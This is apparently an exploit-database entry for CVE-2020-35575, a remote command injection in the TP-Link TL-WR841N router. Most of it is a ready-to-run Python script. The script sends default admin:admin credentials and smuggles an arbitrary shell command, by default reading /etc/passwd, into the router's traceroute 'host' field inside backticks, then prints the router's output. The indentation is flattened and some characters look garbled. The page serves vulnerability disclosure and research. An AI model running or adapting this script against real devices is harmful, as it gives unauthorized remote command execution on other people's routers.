Authored by Koh You Liang

TP-Link TL-WR841N suffers from a remote command injection vulnerability.

advisories | CVE-2020-35575

# Exploit Title: TP-Link TL-WR841N - Command Injection
# Date: 2020-12-13
# Exploit Author: Koh You Liang
# Vendor Homepage: https://www.tp-link.com/
# Software Link: https://static.tp-link.com/TL-WR841N(JP)_V13_161028.zip
# Version: TL-WR841N 0.9.1 4.0
# Tested on: Windows 10
# CVE : CVE-2020-35575

import requests
import sys
import time

try:
_ = sys.argv[2]
payload = ' '.join(sys.argv[1:])
except IndexError:
try:
payload = sys.argv[1]
except IndexError:
print("[*] Command not specified, using the default `cat etc/passwd=`")
payload = 'cat etc/passwd'

# Default credentials is admin:admin - replace with your own
cookies = {
'Authorization': 'Basic YWRtaW46YWRtaW4='
}

headers = {
'Host': '192.168.0.1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko=/20100101 Firefox/84.0',
'Accept': '*/*',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'text/plain',
'Content-Length': '197',
'Origin': 'http://192.168.0.1',
'Connection': 'close',
'Referer': 'http://192.168.0.1/mainFrame.htm',
}

data1 =
'''[TRACEROUTE_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,8rnmaxHopCount=20rntimeout=50rnnumberOfTries=1rnhost="`{}`"rndataBlockSize=64rnX_TP_ConnName=ewan_ipoe_drndiagnosticsState=RequestedrnX_TP_HopSeq=0rn'''.format(payload)
response1 = requests.post('http://192.168.0.1/cgi?2', headers=headers, cookies=cookies, data=data1, verify=False)
print('[+] Sending payload...')

try:
response1.text.splitlines()[0]
except IndexError:
sys.exit('[-] Cannot get response. Please check your cookie.')
if response1.text.splitlines()[0] != '[error]0':
sys.exit('[*] Router/Firmware is not vulnerable.')

data2 = '[ACT_OP_TRACERT#0,0,0,0,0,0#0,0,0,0,0,0]0,0rn'
response2 = requests.post('http://192.168.0.1/cgi?7', headers=headers, cookies=cookies, data=data2, verify=False)
print('[+] Receiving response from router...')
time.sleep(0.8) # Buffer time for traceroute to succeed

data3 = '''[TRACEROUTE_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,3rndiagnosticsStaternX_TP_HopSeqrnX_TP_Resultrn'''
response3 = requests.post('http://192.168.0.1/cgi?1', headers=headers, cookies=cookies, data=data3, verify=False)

if '=:' in response3.text.splitlines()[3]:
print('[-] Command not supported.')
else:
print('[+] Exploit successful!')
for line_number, line in enumerate(response3.text.splitlines()):
try:
if line_number == 3:
print(line[12:])
if line_number > 3 and line != '[error]0':
print(line)
if 'not known' in line:
break
except IndexError:
break